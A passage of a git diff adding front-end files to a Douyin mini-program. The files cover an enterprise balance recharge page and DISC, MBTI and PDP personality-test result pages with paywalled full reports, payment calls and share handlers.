+} + +/* 单次购买 */ +.single-list { + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.single-item { + display: flex; + align-items: center; + background: #fff; + border-radius: 16rpx; + padding: 24rpx; + border: 2rpx solid #e5e5e5; +} + +.single-icon { + font-size: 36rpx; + margin-right: 16rpx; +} + +.single-info { + flex: 1; +} + +.single-name { + display: block; + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +.single-desc { + display: block; + font-size: 22rpx; + color: #999; + margin-top: 4rpx; +} + +.single-price { + text-align: center; +} + +.single-price .price-num { + display: block; + font-size: 28rpx; + font-weight: bold; + color: #9333ea; +} + +.price-action { + display: block; + font-size: 22rpx; + color: #9333ea; +} + +/* 底部安全提示 */ +.safety-tips { + display: flex; + justify-content: center; + gap: 32rpx; + padding: 24rpx; + margin: 24rpx; +} + +.safety-item { + display: flex; + align-items: center; + gap: 8rpx; +} + +.safety-icon { + font-size: 24rpx; +} + +.safety-text { + font-size: 22rpx; + color: #999; +} + +.privileges { + background: #fff; + border-radius: 16rpx; + padding: 32rpx; +} + +.privilege-list { + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.privilege-item { + display: flex; + align-items: center; + gap: 12rpx; +} + +.privilege-icon { + font-size: 28rpx; +} + +.privilege-text { + font-size: 26rpx; + color: #333; +} + +.bottom-placeholder { + height: 160rpx; +} + +/* 底部购买栏 */ +.bottom-bar { + position: fixed; + bottom: 0; + left: 0; + right: 0; + background: #fff; + display: flex; + align-items: center; + padding: 24rpx 32rpx; + padding-bottom: calc(24rpx + env(safe-area-inset-bottom)); + box-shadow: 0 -2rpx 12rpx rgba(0, 0, 0, 0.06); + z-index: 100; +} + +.price-info { + flex: 1; + display: flex; + align-items: baseline; +} + +.total-label { + font-size: 28rpx; + color: #666; +} + +.total-price { + font-size: 40rpx; + font-weight: bold; + color: #e63946; +} + +.buy-btn { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + padding: 24rpx 48rpx; + border-radius: 48rpx; + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.buy-btn.disabled { + opacity: 0.6; +} + +.buy-btn-text { + font-size: 30rpx; + font-weight: 600; + color: #fff; +} diff --git a/douyin-miniprogram/pages/recharge/index.js b/douyin-miniprogram/pages/recharge/index.js new file mode 100644 index 0000000..95a3e28 --- /dev/null +++ b/douyin-miniprogram/pages/recharge/index.js @@ -0,0 +1,83 @@ +const app = getApp() +const payment = require('../../utils/payment') +const { request } = require('../../utils/request') + +Page({ + data: { + enterpriseId: 0, + enterpriseName: '', + amountFen: 0, + amountYuan: '0.00', + paying: false + }, + + onLoad(options) { + const rawScene = options && options.scene ? decodeURIComponent(options.scene) : '' + const sceneParams = {} + if (rawScene) { + rawScene.split('&').forEach(pair => { + const [k, v] = pair.split('=') + if (k) sceneParams[k] = v || '' + }) + } + + const enterpriseId = parseInt(sceneParams.eid || options.eid || 0, 10) || 0 + const amountFen = parseInt(sceneParams.a || options.amountFen || 0, 10) || 0 + const amountYuan = (amountFen / 100).toFixed(2) + + if (enterpriseId > 0) { + app.globalData.enterpriseIdFromScene = enterpriseId + } + + this.setData({ + enterpriseId, + enterpriseName: (app.globalData.userInfo && app.globalData.userInfo.enterpriseName) || '', + amountFen, + amountYuan + }) + + app.ensureLogin() + .then(() => { + if (enterpriseId > 0) { + request({ + url: '/api/enterprise/bind', + method: 'POST', + data: { enterpriseId }, + success: (res) => { + const payload = res && res.data && res.data.data ? res.data.data : {} + const enterpriseName = payload.enterpriseName || this.data.enterpriseName || '' + this.setData({ enterpriseName }) + }, + fail: () => {} + }) + } + }) + .catch(() => { + tt.showToast({ title: '请先登录', icon: 'none' }) + }) + }, + + submitRecharge() { + if (this.data.paying) return + if (!this.data.enterpriseId || !this.data.amountFen) { + tt.showToast({ title: '充值参数无效', icon: 'none' }) + return + } + + this.setData({ paying: true }) + payment.recharge({ + amountYuan: Number(this.data.amountYuan), + enterpriseId: this.data.enterpriseId, + success: () => { + this.setData({ paying: false }) + tt.showToast({ title: '充值成功', icon: 'success' }) + setTimeout(() => { + tt.navigateTo({ url: `/pages/enterprise/index?eid=${this.data.enterpriseId}` }) + }, 1200) + }, + fail: () => { + this.setData({ paying: false }) + } + }) + } +}) diff --git a/douyin-miniprogram/pages/recharge/index.json b/douyin-miniprogram/pages/recharge/index.json new file mode 100644 index 0000000..b9c0534 --- /dev/null +++ b/douyin-miniprogram/pages/recharge/index.json @@ -0,0 +1,3 @@ +{ + "navigationBarTitleText": "企业余额充值" +} diff --git a/douyin-miniprogram/pages/recharge/index.ttml b/douyin-miniprogram/pages/recharge/index.ttml new file mode 100644 index 0000000..6129271 --- /dev/null +++ b/douyin-miniprogram/pages/recharge/index.ttml @@ -0,0 +1,20 @@ + + + 企业余额充值 + 扫码后在小程序内完成支付,支付成功后自动进入企业余额 + + + 充值金额 + ¥{{amountYuan}} + + + + 企业名称 + {{enterpriseName || ('企业 #' + enterpriseId)}} + + + + + diff --git a/douyin-miniprogram/pages/recharge/index.ttss b/douyin-miniprogram/pages/recharge/index.ttss new file mode 100644 index 0000000..8f8c2d6 --- /dev/null +++ b/douyin-miniprogram/pages/recharge/index.ttss @@ -0,0 +1,106 @@ +.recharge-page { + min-height: 100vh; + padding: 40rpx 28rpx; + background: linear-gradient(180deg, #f5f3ff 0%, #ffffff 100%); + box-sizing: border-box; +} + +.card { + background: #ffffff; + border-radius: 32rpx; + padding: 40rpx 32rpx; + box-shadow: 0 20rpx 60rpx rgba(124, 58, 237, 0.08); + border: 2rpx solid rgba(124, 58, 237, 0.06); +} + +.title { + font-size: 40rpx; + font-weight: 700; + color: #111827; +} + +.subtitle { + margin-top: 16rpx; + font-size: 26rpx; + line-height: 1.7; + color: #6b7280; +} + +.amount-box { + margin-top: 36rpx; + padding: 32rpx; + background: #f8fafc; + border-radius: 24rpx; + text-align: center; +} + +.amount-label { + display: block; + font-size: 24rpx; + color: #6b7280; +} + +.amount-value { + display: block; + margin-top: 12rpx; + font-size: 64rpx; + font-weight: 700; + color: #7c3aed; +} + +.meta-row { + display: flex; + justify-content: space-between; + align-items: center; + margin-top: 28rpx; + padding: 24rpx 8rpx 0; + font-size: 26rpx; + gap: 24rpx; +} + +.meta-label { + color: #6b7280; +} + +.meta-value { + color: #111827; + font-weight: 600; + max-width: 420rpx; + text-align: right; + line-height: 1.5; +} + +.pay-btn { + margin-top: 44rpx; + height: 96rpx; + line-height: 96rpx; + border-radius: 999rpx; + background: linear-gradient(135deg, #7c3aed 0%, #8b5cf6 55%, #a855f7 100%); + color: #ffffff; + font-size: 30rpx; + font-weight: 600; + box-shadow: 0 18rpx 36rpx rgba(124, 58, 237, 0.28); + border: none; + display: flex; + align-items: center; + justify-content: center; +} + +.pay-btn::after { + border: none; +} + +.pay-btn-text { + position: relative; + padding-right: 28rpx; +} + +.pay-btn-text::after { + content: '>'; + position: absolute; + right: 0; + top: 50%; + transform: translateY(-50%); + font-size: 24rpx; + opacity: 0.9; +} diff --git a/douyin-miniprogram/pages/result/disc.js b/douyin-miniprogram/pages/result/disc.js new file mode 100644 index 0000000..ffa2ffd --- /dev/null +++ b/douyin-miniprogram/pages/result/disc.js @@ -0,0 +1,157 @@ +// pages/result/disc.js - DISC结果页(支持付费墙 + 历史详情拉取) +const app = getApp() +const payment = require('../../utils/payment') + +function toIntPercent(v) { + if (v == null) return 0 + const n = typeof v === 'number' ? v : Number(v) + return Number.isFinite(n) ? Math.round(n) : 0 +} + +function withPercentagesInt(data) { + if (!data) return data + const p = data.percentages || {} + const out = { ...data } + out.percentagesInt = { + D: toIntPercent(p.D ?? p.d), + I: toIntPercent(p.I ?? p.i), + S: toIntPercent(p.S ?? p.s), + C: toIntPercent(p.C ?? p.c) + } + return out +} + +Page({ + data: { + result: null, + typeList: [ + { type: 'D', label: 'D型 - 支配型', colorClass: 'fill-d' }, + { type: 'I', label: 'I型 - 影响型', colorClass: 'fill-i' }, + { type: 'S', label: 'S型 - 稳健型', colorClass: 'fill-s' }, + { type: 'C', label: 'C型 - 谨慎型', colorClass: 'fill-c' } + ], + payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 }, + testResultId: null, + hasReloadedAfterPay: false + }, + + onLoad(options) { + const id = options && options.id + const type = options && options.type + if (id && type === 'disc') { + this.setData({ testResultId: id }) + this.loadDetail(id) + return + } + const result = tt.getStorageSync('discResult') + if (result) { + this.setData({ result: withPercentagesInt(result) }) + this.initPayInfoFromRuntime('disc') + } else { + tt.showToast({ title: '暂无测试结果', icon: 'none' }) + setTimeout(() => tt.navigateBack(), 1500) + } + }, + + loadDetail(id) { + const apiBase = app.globalData?.apiBase || '' + const token = app.globalData?.token || tt.getStorageSync('token') || '' + if (!apiBase) { tt.showToast({ title: '配置异常', icon: 'none' }); return } + tt.showLoading({ title: '加载中...' }) + tt.request({ + url: `${apiBase}/api/test/detail`, + method: 'GET', + header: token ? { Authorization: `Bearer ${token}` } : {}, + data: { id }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const payload = res.data.data || {} + const data = payload.data || payload + const isPaid = !!payload.isPaid + const paidAmount = payload.paidAmount != null ? Number(payload.paidAmount) : 0 + const amountYuan = payload.amountYuan != null ? Number(payload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) + const needPaymentToUnlock = payload.needPaymentToUnlock === true || (!!payload.requiresPayment && !isPaid && paidAmount > 0) + this.setData({ result: withPercentagesInt(data) }) + const payInfo = { + requiresPayment: needPaymentToUnlock, + isPaid, + amountYuan: needPaymentToUnlock ? amountYuan : 0 + } + this.setData({ payInfo }) + } else { + tt.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) + } + }, + fail: () => tt.showToast({ title: '网络错误', icon: 'none' }), + complete: () => tt.hideLoading() + }) + }, + + initPayInfoFromRuntime(testType) { + app.getRuntimeConfig() + .then((cfg) => { + const reportRequires = cfg.reportRequiresPayment || {} + const pricing = cfg.pricing || {} + const requiresPayment = !!(reportRequires && reportRequires[testType]) + const amountYuan = Number(pricing[testType]) || (requiresPayment ? 1.98 : 0) + this.setData({ + payInfo: { requiresPayment, isPaid: false, amountYuan } + }) + }) + .catch(() => this.setData({ payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 } })) + }, + + unlockFullReport() { + const { payInfo, testResultId, hasReloadedAfterPay } = this.data + if (!payInfo.requiresPayment || payInfo.isPaid) return + app.ensureLogin && app.ensureLogin().then((logged) => { + if (!logged) { tt.showToast({ title: '请先登录', icon: 'none' }); return } + payment.purchaseDiscTest({ + testResultId: testResultId || undefined, + success: () => { + tt.showToast({ title: '已解锁完整报告', icon: 'success' }) + this.setData({ 'payInfo.isPaid': true }) + if (testResultId && !hasReloadedAfterPay) { + this.setData({ hasReloadedAfterPay: true }) + setTimeout(() => this.loadDetail(testResultId), 500) + } + }, + fail: () => {} + }) + }) + }, + + retakeTest() { + if (!this.data.testResultId) { + tt.removeStorageSync('discResult') + } + tt.navigateTo({ url: '/pages/test/disc' }) + }, + + goHome() { + const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' + if (scope === 'enterprise') { + tt.navigateTo({ url: '/pages/enterprise/index' }) + } else { + tt.switchTab({ url: '/pages/index/index' }) + } + }, + + onShareAppMessage() { + const result = this.data.result + const { getSharePathByScope } = require('../../utils/share') + return { + title: `我的DISC类型是${result?.dominantType}型(${result?.description?.title}),来测测你的吧!`, + path: getSharePathByScope('/pages/index/index') + } + }, + + onShareTimeline() { + const result = this.data.result + const { buildShareQuery } = require('../../utils/share') + return { + title: `我的DISC类型是${result?.dominantType}型(${result?.description?.title}),来测测你的吧!`, + query: buildShareQuery() + } + } +}) diff --git a/douyin-miniprogram/pages/result/disc.json b/douyin-miniprogram/pages/result/disc.json new file mode 100644 index 0000000..3ad7bf6 --- /dev/null +++ b/douyin-miniprogram/pages/result/disc.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "DISC结果", + "navigationBarBackgroundColor": "#3B82F6", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/result/disc.ttml b/douyin-miniprogram/pages/result/disc.ttml new file mode 100644 index 0000000..8ece4da --- /dev/null +++ b/douyin-miniprogram/pages/result/disc.ttml @@ -0,0 +1,81 @@ + + + + + + + 您的DISC性格类型 + {{result.dominantType}}{{result.secondaryType ? ' + ' + result.secondaryType : ''}} + {{result.description.description}} + + + + + + 完整DISC报告 + • 四维得分详情 + • 性格特征与优劣势 + • 职业匹配建议 + + + + 解锁完整报告 + ¥{{payInfo.amountYuan}} / 次 + + + + + + DISC得分详情 + + + {{item.label}} + {{result.percentagesInt[item.type] != null ? result.percentagesInt[item.type] + '%' : '0%'}} + + + + + + + + + + 主要性格特征分析 + + 优势 + + + {{item}} + + + + 需要注意的方面 + + + {{item}} + + + + + + 职业匹配度分析 + + + {{item}} + + + + + + + 重新测试 + + + 返回首页 + + + + + diff --git a/douyin-miniprogram/pages/result/disc.ttss b/douyin-miniprogram/pages/result/disc.ttss new file mode 100644 index 0000000..7af2da6 --- /dev/null +++ b/douyin-miniprogram/pages/result/disc.ttss @@ -0,0 +1,197 @@ +/* pages/result/disc.wxss - 按旧版模板重构 */ +.result-page { + width: 100%; + min-height: 100vh; + background-color: #f5f5f5; +} + +.content-scroll { + width: 100%; + height: 100vh; +} + +.content-container { + padding: 32rpx; + padding-bottom: 64rpx; +} + +.type-card, +.analysis-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + margin-bottom: 32rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.type-header { + text-align: center; + margin-bottom: 40rpx; +} + +.type-label { + display: block; + font-size: 32rpx; + color: #333; +} + +.type-value { + display: block; + font-size: 56rpx; + font-weight: bold; + color: #8b5cf6; + margin: 16rpx 0; +} + +.type-description { + display: block; + font-size: 28rpx; + color: #666; + line-height: 1.6; +} + +.section-title, +.card-title { + display: block; + font-size: 34rpx; + font-weight: bold; + color: #333; + margin-bottom: 20rpx; +} + +.score-item { + margin-bottom: 18rpx; +} + +.score-header { + display: flex; + justify-content: space-between; + margin-bottom: 8rpx; +} + +.score-label, +.score-value { + font-size: 28rpx; + color: #666; +} + +.progress-bar-container { + width: 100%; + height: 14rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + overflow: hidden; +} + +.progress-bar { + height: 100%; + border-radius: 8rpx; +} + +.fill-d { background: linear-gradient(90deg, #ef4444 0%, #f87171 100%); } +.fill-i { background: linear-gradient(90deg, #f59e0b 0%, #fbbf24 100%); } +.fill-s { background: linear-gradient(90deg, #10b981 0%, #34d399 100%); } +.fill-c { background: linear-gradient(90deg, #3b82f6 0%, #60a5fa 100%); } + +.trait-section { + margin-bottom: 18rpx; +} + +.trait-title { + display: block; + font-size: 30rpx; + color: #333; + margin-bottom: 8rpx; +} + +.trait-item { + display: flex; + align-items: flex-start; + margin-bottom: 6rpx; +} + +.trait-bullet { + margin-right: 12rpx; + color: #8b5cf6; +} + +.trait-text { + flex: 1; + font-size: 28rpx; + color: #666; + line-height: 1.6; +} + +.career-item { + display: flex; + align-items: center; + margin-bottom: 16rpx; +} + +.career-dot { + width: 14rpx; + height: 14rpx; + background-color: #8b5cf6; + border-radius: 50%; + margin-right: 16rpx; +} + +.career-text { + flex: 1; + font-size: 28rpx; + color: #333; +} + +.action-section { + margin-top: 16rpx; + padding-bottom: 40rpx; +} + +.btn { + display: flex; + align-items: center; + justify-content: center; + width: 100% !important; + padding: 28rpx; + border-radius: 16rpx; + margin-bottom: 20rpx; + border: none; + box-sizing: border-box; + overflow: hidden; +} + +.btn::after { + border: none; +} + +.btn-primary { + background: linear-gradient(135deg, #3B82F6 0%, #60a5fa 100%); + box-shadow: 0 8rpx 24rpx rgba(59, 130, 246, 0.3); +} + +.btn-outline { + background: #fff; + border: 2rpx solid #3B82F6; +} + +.btn-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} + +.btn-text-outline { + font-size: 30rpx; + color: #3B82F6; + font-weight: 500; +} + +.paywall-card { margin-top: 24rpx; border-radius: 24rpx; overflow: hidden; } +.paywall-content { position: relative; } +.paywall-blur { padding: 32rpx 24rpx 140rpx; border-radius: 24rpx; background: rgba(255,255,255,0.7); backdrop-filter: blur(18rpx); } +.paywall-mask { position: absolute; left: 0; top: 0; right: 0; bottom: 0; border-radius: 24rpx; background: linear-gradient(180deg, rgba(255,255,255,0.1), rgba(245,245,245,0.98)); pointer-events: none; } +.paywall-fake-title { display: block; font-size: 30rpx; font-weight: 600; color: #444; margin-bottom: 16rpx; } +.paywall-fake-line { display: block; font-size: 26rpx; color: #888; line-height: 1.8; } +.paywall-btn { position: absolute; left: 5%; right: 5%; width: 90%; bottom: 56rpx; padding: 20rpx 0; border-radius: 999rpx; background: linear-gradient(135deg, #3B82F6 0%, #60a5fa 100%); box-shadow: 0 8rpx 24rpx rgba(59,130,246,0.35); display: flex; flex-direction: row; align-items: baseline; justify-content: center; gap: 12rpx; } +.paywall-btn-main { font-size: 30rpx; color: #fff; font-weight: 600; } +.paywall-btn-price { font-size: 24rpx; color: #ffe5f0; } diff --git a/douyin-miniprogram/pages/result/mbti.js b/douyin-miniprogram/pages/result/mbti.js new file mode 100644 index 0000000..20429b6 --- /dev/null +++ b/douyin-miniprogram/pages/result/mbti.js @@ -0,0 +1,224 @@ +// pages/result/mbti.js - MBTI结果页(支持付费墙 + 历史详情拉取) +const app = getApp() +const payment = require('../../utils/payment') +const { hasPhone, bindPhoneByCode, ensureProfileCompleteAndRedirect } = require('../../utils/phoneAuth.js') + +Page({ + data: { + result: null, + dimensions: [], + mbtiDesc: { + title: '', + description: '', + strengths: [], + weaknesses: [], + careers: [], + relationships: '' + }, + payInfo: { + requiresPayment: false, + isPaid: false, + amountYuan: 0 + }, + testResultId: null, + hasReloadedAfterPay: false, + hasPhone: false + }, + + onLoad(options) { + const id = options && options.id + const type = options && options.type + + if (id && type === 'mbti') { + this.setData({ testResultId: id }) + this.loadDetail(id) + return + } + + const result = tt.getStorageSync('mbtiResult') + if (result) { + this.applyResult(result) + this.initPayInfoFromRuntime('mbti') + } else { + tt.showToast({ title: '暂无测试结果', icon: 'none' }) + setTimeout(() => tt.navigateBack(), 1500) + } + }, + + onShow() { + if (!ensureProfileCompleteAndRedirect()) return + this.setData({ hasPhone: hasPhone() }) + }, + + loadDetail(id) { + const apiBase = app.globalData?.apiBase || '' + const token = app.globalData?.token || tt.getStorageSync('token') || '' + if (!apiBase) { + tt.showToast({ title: '配置异常', icon: 'none' }) + return + } + tt.showLoading({ title: '加载中...' }) + tt.request({ + url: `${apiBase}/api/test/detail`, + method: 'GET', + header: token ? { Authorization: `Bearer ${token}` } : {}, + data: { id }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const payload = res.data.data || {} + const data = payload.data || payload + const isPaid = !!payload.isPaid + const paidAmount = payload.paidAmount != null ? Number(payload.paidAmount) : 0 + const amountYuan = payload.amountYuan != null ? Number(payload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) + const needPaymentToUnlock = payload.needPaymentToUnlock === true || (!!payload.requiresPayment && !isPaid && paidAmount > 0) + this.applyResult(data) + const payInfo = { + requiresPayment: needPaymentToUnlock, + isPaid, + amountYuan: needPaymentToUnlock ? amountYuan : 0 + } + this.setData({ payInfo }) + } else { + tt.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) + } + }, + fail: () => tt.showToast({ title: '网络错误', icon: 'none' }), + complete: () => tt.hideLoading() + }) + }, + + applyResult(result) { + if (!result) return + const desc = result.description || {} + const dimensions = (result.dimensionScores && !result.locked) + ? [ + { key: 'EI', left: '外向(E)', right: '内向(I)', ...result.dimensionScores.EI }, + { key: 'SN', left: '感觉(S)', right: '直觉(N)', ...result.dimensionScores.SN }, + { key: 'TF', left: '思考(T)', right: '情感(F)', ...result.dimensionScores.TF }, + { key: 'JP', left: '判断(J)', right: '知觉(P)', ...result.dimensionScores.JP } + ] + : [] + this.setData({ + result, + dimensions, + mbtiDesc: { + title: desc.name || '', + description: desc.description || '', + strengths: desc.strengths || [], + weaknesses: desc.weaknesses || [], + careers: desc.careers || [], + relationships: desc.relationships || '' + } + }) + }, + + initPayInfoFromRuntime(testType) { + app.getRuntimeConfig() + .then((cfg) => { + const pricing = cfg.pricing || {} + const reportRequires = cfg.reportRequiresPayment || {} + const requiresPayment = !!(reportRequires && reportRequires[testType]) + const amountYuan = Number(pricing[testType]) || (requiresPayment ? 1.98 : 0) + this.setData({ + payInfo: { + requiresPayment, + isPaid: false, + amountYuan + } + }) + }) + .catch(() => { + this.setData({ + payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 } + }) + }) + }, + + unlockFullReport() { + const { payInfo, testResultId, hasReloadedAfterPay } = this.data + if (!payInfo.requiresPayment || payInfo.isPaid) return + app.ensureLogin && app.ensureLogin().then((logged) => { + if (!logged) { + tt.showToast({ title: '请先登录', icon: 'none' }) + return + } + payment.purchaseMbtiTest({ + testResultId: testResultId || undefined, + success: () => { + tt.showToast({ title: '已解锁完整报告', icon: 'success' }) + this.setData({ 'payInfo.isPaid': true }) + if (testResultId && !hasReloadedAfterPay) { + this.setData({ hasReloadedAfterPay: true }) + setTimeout(() => this.loadDetail(testResultId), 500) + } + }, + fail: () => {} + }) + }) + }, + + // 付费解锁按钮:就地触发微信手机号授权,然后调用 unlockFullReport + onGetPhoneNumberForMbtiPay(e) { + if (!ensureProfileCompleteAndRedirect()) return + const { code, errMsg } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + if (!hasPhone()) { + tt.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + this.unlockFullReport() + return + } + if (!code) { + if (hasPhone()) { + this.unlockFullReport() + } else { + tt.showToast({ title: '获取手机号失败', icon: 'none' }) + } + return + } + bindPhoneByCode(code) + .then(() => { + this.setData({ hasPhone: true }) + this.unlockFullReport() + }) + .catch(() => { + // 保持在当前页,等待用户重新点击 + }) + }, + + retakeTest() { + if (!this.data.testResultId) { + tt.removeStorageSync('mbtiResult') + } + tt.navigateTo({ url: '/pages/test/mbti' }) + }, + + goHome() { + const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' + if (scope === 'enterprise') { + tt.navigateTo({ url: '/pages/enterprise/index' }) + } else { + tt.switchTab({ url: '/pages/index/index' }) + } + }, + + onShareAppMessage() { + const result = this.data.result + const { getSharePathByScope } = require('../../utils/share') + return { + title: `我的MBTI类型是${result?.mbtiType}(${result?.description?.name}),来测测你的吧!`, + path: getSharePathByScope('/pages/index/index'), + imageUrl: '/images/share-mbti.png' + } + }, + + onShareTimeline() { + const result = this.data.result + const { buildShareQuery } = require('../../utils/share') + return { + title: `我的MBTI类型是${result?.mbtiType}(${result?.description?.name}),来测测你的吧!`, + query: buildShareQuery() + } + } +}) diff --git a/douyin-miniprogram/pages/result/mbti.json b/douyin-miniprogram/pages/result/mbti.json new file mode 100644 index 0000000..69463c1 --- /dev/null +++ b/douyin-miniprogram/pages/result/mbti.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "MBTI结果", + "navigationBarBackgroundColor": "#FF6B8A", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/result/mbti.ttml b/douyin-miniprogram/pages/result/mbti.ttml new file mode 100644 index 0000000..5305018 --- /dev/null +++ b/douyin-miniprogram/pages/result/mbti.ttml @@ -0,0 +1,107 @@ + + + + + + + 您的MBTI性格类型 + {{result.mbtiType}} + {{mbtiDesc.title}} + {{mbtiDesc.description}} + + + + + + + 完整性格分析 + • 四维得分与主导倾向 + • 优势与需要注意的方面 + • 职业匹配与人际关系建议 + + + + + + + + + + + + + {{item.left}} + {{item.right}} + + + + + + {{item.dominant}} + {{item.percentage}}% + + + + + + + 性格特征分析 + + 优势 + + + {{item}} + + + + + 需要注意的方面 + + + {{item}} + + + + + + 职业匹配度分析 + + + {{item}} + + + + + 人际关系分析 + {{mbtiDesc.relationships}} + + + + + + 重新测试 + + + 返回首页 + + + + + diff --git a/douyin-miniprogram/pages/result/mbti.ttss b/douyin-miniprogram/pages/result/mbti.ttss new file mode 100644 index 0000000..6613c88 --- /dev/null +++ b/douyin-miniprogram/pages/result/mbti.ttss @@ -0,0 +1,240 @@ +/* pages/result/mbti.wxss - 按旧版模板重构 */ +.result-page { + width: 100%; + min-height: 100vh; + background-color: #f5f5f5; +} + +.content-scroll { + width: 100%; + height: 100vh; +} + +.content-container { + padding: 32rpx; + padding-bottom: 64rpx; +} + +.type-card, +.analysis-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + margin-bottom: 32rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.type-header { + text-align: center; + margin-bottom: 40rpx; +} + +.type-label { + display: block; + font-size: 32rpx; + color: #333; + margin-bottom: 16rpx; +} + +.type-value { + display: block; + font-size: 72rpx; + font-weight: bold; + color: #8b5cf6; + margin: 16rpx 0; +} + +.type-title { + display: block; + font-size: 34rpx; + color: #a78bfa; + margin-bottom: 20rpx; +} + +.type-description { + display: block; + font-size: 28rpx; + color: #666; + line-height: 1.6; +} + +.dimensions-section .dimension-item { + margin-bottom: 28rpx; +} + +.dimension-labels, +.dimension-values { + display: flex; + justify-content: space-between; +} + +.label-left, +.label-right, +.value-left, +.value-right { + font-size: 24rpx; + color: #666; +} + +.progress-bar-container { + width: 100%; + height: 16rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + margin: 8rpx 0; + overflow: hidden; +} + +.progress-bar { + height: 100%; + border-radius: 8rpx; + background: linear-gradient(90deg, #8b5cf6 0%, #a78bfa 100%); +} + +.card-title { + display: block; + font-size: 36rpx; + font-weight: bold; + color: #333; + margin-bottom: 24rpx; +} + +.trait-section { + margin-bottom: 24rpx; +} + +.trait-title { + display: block; + font-size: 30rpx; + color: #333; + margin-bottom: 12rpx; +} + +.trait-item { + display: flex; + align-items: flex-start; + margin-bottom: 8rpx; +} + +.trait-bullet { + margin-right: 12rpx; + color: #8b5cf6; +} + +.trait-text { + flex: 1; + font-size: 28rpx; + color: #666; + line-height: 1.6; +} + +.career-item { + display: flex; + align-items: center; + margin-bottom: 18rpx; +} + +.career-dot { + width: 14rpx; + height: 14rpx; + border-radius: 50%; + background-color: #8b5cf6; + margin-right: 18rpx; +} + +.career-text { + flex: 1; + font-size: 28rpx; + color: #333; +} + +.relationship-text { + font-size: 28rpx; + color: #666; + line-height: 1.7; +} + +.action-section { + margin-top: 16rpx; + padding-bottom: 40rpx; +} + +.btn { + display: flex; + align-items: center; + justify-content: center; + width: 100% !important; + padding: 28rpx; + border-radius: 16rpx; + margin-bottom: 20rpx; + border: none; + box-sizing: border-box; + overflow: hidden; +} + +/* 消除微信 button 伪元素自带边框 */ +.btn::after { + border: none; +} + +.btn-primary { + background: linear-gradient(135deg, #FF6B8A 0%, #ff8fa3 100%); + box-shadow: 0 8rpx 24rpx rgba(255, 107, 138, 0.3); +} + +.btn-outline { + background: #fff; + border: 2rpx solid #FF6B8A; +} + +.btn-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} + +.btn-text-outline { + font-size: 30rpx; + color: #FF6B8A; + font-weight: 500; +} + +/* 付费墙 */ +.paywall-card { + margin-top: 24rpx; + border-radius: 24rpx; + overflow: hidden; +} +.paywall-content { position: relative; } +.paywall-blur { + padding: 32rpx 24rpx 140rpx; + border-radius: 24rpx; + background: rgba(255, 255, 255, 0.7); + backdrop-filter: blur(18rpx); +} +.paywall-mask { + position: absolute; + left: 0; top: 0; right: 0; bottom: 0; + border-radius: 24rpx; + background: linear-gradient(180deg, rgba(255,255,255,0.1), rgba(245,245,245,0.98)); + pointer-events: none; +} +.paywall-fake-title { display: block; font-size: 30rpx; font-weight: 600; color: #444; margin-bottom: 16rpx; } +.paywall-fake-line { display: block; font-size: 26rpx; color: #888; line-height: 1.8; } +.paywall-btn { + position: absolute; + left: 5%; right: 5%; + width: 90%; + bottom: 56rpx; + padding: 20rpx 0; + border-radius: 999rpx; + background: linear-gradient(135deg, #FF6B8A 0%, #ff8fa3 100%); + box-shadow: 0 8rpx 24rpx rgba(255, 107, 138, 0.35); + display: flex; + flex-direction: row; + align-items: baseline; + justify-content: center; + gap: 12rpx; +} +.paywall-btn-main { font-size: 30rpx; color: #fff; font-weight: 600; } +.paywall-btn-price { font-size: 24rpx; color: #ffe5f0; } diff --git a/douyin-miniprogram/pages/result/pdp.js b/douyin-miniprogram/pages/result/pdp.js new file mode 100644 index 0000000..691142f --- /dev/null +++ b/douyin-miniprogram/pages/result/pdp.js @@ -0,0 +1,157 @@ +// pages/result/pdp.js - PDP结果页(支持付费墙 + 历史详情拉取) +const app = getApp() +const payment = require('../../utils/payment') + +const PDP_KEYS = ['Tiger', 'Peacock', 'Koala', 'Owl', 'Chameleon'] + +function toIntPercent(v) { + if (v == null) return 0 + const n = typeof v === 'number' ? v : Number(v) + return Number.isFinite(n) ? Math.round(n) : 0 +} + +function withPercentagesInt(data) { + if (!data) return data + const p = data.percentages || {} + const out = { ...data } + const ints = {} + PDP_KEYS.forEach((k) => { ints[k] = toIntPercent(p[k] ?? p[k.toLowerCase()]) }) + out.percentagesInt = ints + return out +} + +Page({ + data: { + result: null, + typeList: [ + { type: 'Tiger', emoji: '🐅', label: '老虎型', colorClass: 'fill-tiger' }, + { type: 'Peacock', emoji: '🦚', label: '孔雀型', colorClass: 'fill-peacock' }, + { type: 'Koala', emoji: '🐨', label: '考拉型', colorClass: 'fill-koala' }, + { type: 'Owl', emoji: '🦉', label: '猫头鹰型', colorClass: 'fill-owl' }, + { type: 'Chameleon', emoji: '🦎', label: '变色龙型', 